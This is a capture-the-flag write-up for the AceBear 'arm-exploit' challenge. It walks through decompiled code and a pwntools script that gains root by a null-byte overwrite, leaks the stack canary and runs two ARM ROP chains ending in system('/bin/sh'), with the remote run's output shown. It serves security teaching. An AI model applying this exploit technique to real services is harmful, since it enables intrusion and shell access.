arm-exploit (13 Solves) (856 points)
Attachment: arm-exploit libc-2.19.so xpl.py
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
**************************Welcome to Arm Exploit**************************
* *
*************************Challenge Created By CNV*************************
* Team: AceBear *
* My blog: https://chung96vn.blogspot.com/ *
**************************************************************************
*******************Arm Exploit******************
* *
* 1 - info *
* 2 - login *
* 3 - echo *
* 4 - change username *
* 5 - exit *
************************************************
Your choice: 2
Username: AAAABBBB
password: CCCCDDDD
Guest logined!
*******************Arm Exploit******************
* *
* 1 - info *
* 2 - login *
* 3 - echo *
* 4 - change username *
* 5 - exit *
************************************************
Your choice: 1
**************************User Info***************************
* *
*Username: AAAABBBB
**************************************************************
* *
*State: 1
**************************************************************
...
Your choice: 3
Welcome guest echo!
guest@arm-exploit:~$ help
List command:
$ echo argument
$ exit
$ help
guest@arm-exploit:~$
So, in this challenge we have a little echo service.
But since we’re marked as a guest
we’re only allowed to use the guestecho
:
int guestecho()
{
int result;
char buf;
while ( 1 )
{
printf("guest@arm-exploit:~$ ");
secure_read(&buf, 64);
result = strcmp(&buf, "exit");
if ( !result )
break;
if ( !strcmp(&buf, "help") )
{
puts("List command:");
puts("$ echo argument");
puts("$ exit");
puts("$ help");
}
else if ( !memcmp(&buf, "echo ", 5) )
puts((&buf+5));
else
puts("Invalid Command! Try help");
}
return result;
}
There’s also a rootecho
which only differs in the amount of read bytes:
int rootecho()
{
int result;
char buf;
while ( 1 )
{
printf("guest@arm-exploit:~$ ");
secure_read(&buf, 256); // <= buffer overflow
result = strcmp(&buf, "exit");
if ( !result )
break;
if ( !strcmp(&buf, "help") )
{
puts("List command:");
puts("$ echo argument");
puts("$ exit");
puts("$ help");
}
else if ( !memcmp(&buf, "echo ", 5) )
puts((&buf+5));
else
puts("Invalid Command! Try help");
}
return result;
}
While we cannot do much mischief with the guestecho
function, the rootecho
function would allow us to do a buffer overflow.
So, first let’s find out, how to get root
:
void login()
{
char buf;
printf("Username: ");
secure_read(user, 32);
printf("password: ");
secure_read(&buf, 32);
if ( !memcmp(&buf, &pass, 0x10) && !strcmp(user, "root") )
{
puts("Admin logined!");
IS_GUEST = 0;
}
else
{
puts("Guest logined!");
IS_GUEST = 1;
}
logined = 1;
return result;
}
The password is generated from /dev/urandom
, so don’t even try guessing it.
.bss:0002209C user
.bss:0002209C
.bss:000220BC IS_GUEST
So, the IS_GUEST
variable is stored 32 bytes behind the username and is set to 1
if we’re not admin. Since IS_GUEST
is set, after we entered the username, we won’t be able to change it here.
But there is also a change_username
function:
void change_username()
{
char buf;
if ( !logined ) {
puts("You must login!");
return;
}
memset(&buf, 0, 48);
printf("New username: ");
secure_read(&buf, 32);
strcpy(user, &buf);
puts("Change username done!");
}
So, it reads 32 bytes again for the username and then strcpy
s it to the user
variable.
But if we enter exactly 32 bytes, strcpy
will copy the string together with the following null-terminator into user
, and since IS_GUEST
is exactly at user+32
it will be overwritten with the null-terminator (effectively setting it to 0).
#!/usr/bin/python
from pwn import *
import sys
HOST = "armexploit.acebear.site"
PORT = 3001
def login(user,pw):
r.sendline("2")
r.sendlineafter("Username: ", user)
r.sendlineafter("password: ", pw)
r.recvuntil("Your choice: ")
def changename(name):
r.sendline("4")
r.sendafter("username: ", name)
r.recvuntil("Your choice: ")
def exploit(r):
r.recvuntil("Your choice: ")
login("guest", "abc")
log.info("Get root")
changename("A"*32)
changename("root")
r.interactive()
return
if __name__ == "__main__":
e = ELF("./arm-exploit")
libc = ELF("./libc-2.19.so")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./arm-exploit")
print util.proc.pidof(r)
pause()
exploit(r)
$ python work.py
[+] Starting local process './arm-exploit': pid 27835
[27835]
[*] Paused (press any to continue)
[*] Get root
[*] Switching to interactive mode
$ 3
Welcome root echo!
root@arm-exploit:~$ $
So, now that we can use rootecho
it’s time for ropping… Oh well, there’s still a canary to defeat, before we really can do something.
Since canaries end/start with a null byte, we cannot just align our input with the canary but have to partial overwrite it (otherwise our output would just stop before that null byte).
While overwriting the canary would mostly crash the application, we’re lucky here, that the rootecho
function doesn’t return until we enter exit
.
So, we can overwrite the lowest byte of the canary (we know, that it’s \x00
, so that’s no problem) and echo it.
log.info("Leak canary")
enter_echo()
LEAK = send_echo("A"*124)
CANARY = u32("\x00" + LEAK[124:127])
log.info("CANARY : %s" % hex(CANARY))
Since we’re still in the rootecho
function, we can now repair the canary again and write a ropchain before leaving it.
But since ASLR
is active, we don’t know any good addresses to rop to, so we need to leak libc in the first stage:
"""
POP3RPC => pop {r3, pc};
POPR45678SBSLPC => pop {r4, r5, r6, r7, r8, sb, sl, pc};
MOVR0R7GOR3 => mov r0, r7; blx r3;
"""
log.info("Stage 1 : Leaker ropchain")
payload = "A"*123
payload += p32(CANARY)
payload += p32(0xdeadbeef)
payload += p32(POPR3PC)
payload += p32(e.plt["puts"])
payload += p32(POPR45678SBSLPC)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(e.got["puts"]) # R7
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(MOVR0R7GOR3)
payload += "A"*(203-len(payload))
payload += p32(0x00010CFC) # back to rootecho
send_echo(payload)
r.sendline("exit") # Trigger ropchain
PUTS = u32(r.recv(4))
libc.address = PUTS - libc.symbols["puts"]
log.info("PUTS : %s" % hex(PUTS))
log.info("LIBC : %s" % hex(libc.address))
Didn’t find an easy way to set r0
for calling puts, so I used multiple gadgets to fill r0
.
This ropchain will first put puts
plt into r3
and then call the second pop gadget, which will fill r4
to r8
and then call
mov r0, r7; blx r3
Since we wrote e.got["puts"]
to r7
, this will write puts
got to r0
and then call r3
(pointing to puts
plt), thus printing puts
got.
With this we can calculate the libc address and start the second stage executing something useful.
We’ll just use the same gadgets to execute system("/bin/sh")
:
log.info("Stage 2 : Execute ropchain")
payload = "A"*123
payload += p32(CANARY)
payload += p32(0xdeadbeef)
payload += p32(POPR3PC)
payload += p32(libc.symbols["system"])
payload += p32(POPR45678SBSLPC)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(next(libc.search("/bin/sh"))) # R7
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(MOVR0R7GOR3)
payload += "A"*(203-len(payload))
send_echo(payload)
r.sendline("exit") # Trigger ropchain
This time we’ll write system
to r3
, which will gets executed after our pop gadgets.
In the pop gadgets we’ll store the address of /bin/sh
to r7
=>r0
, resulting in calling system("/bin/sh")
when we exit
the rootecho
function.
$ python work.py 1
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/pi/arm/arm-exploit'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
[*] '/home/pi/arm/libc-2.19.so'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to armexploit.acebear.site on port 3001: Done
[*] Get root
[*] Leak canary
[*] CANARY : 0xb5df6e00
[*] Stage 1 : Leaker ropchain
[*] PUTS : 0xf66ea478
[*] LIBC : 0xf6689000
[*] Stage 2 : Execute ropchain
[*] Switching to interactive mode
root@arm-exploit:~$ $ cat /home/arm_exploit/flag
AceBear{arm_i5_my_sad_m3m0ry}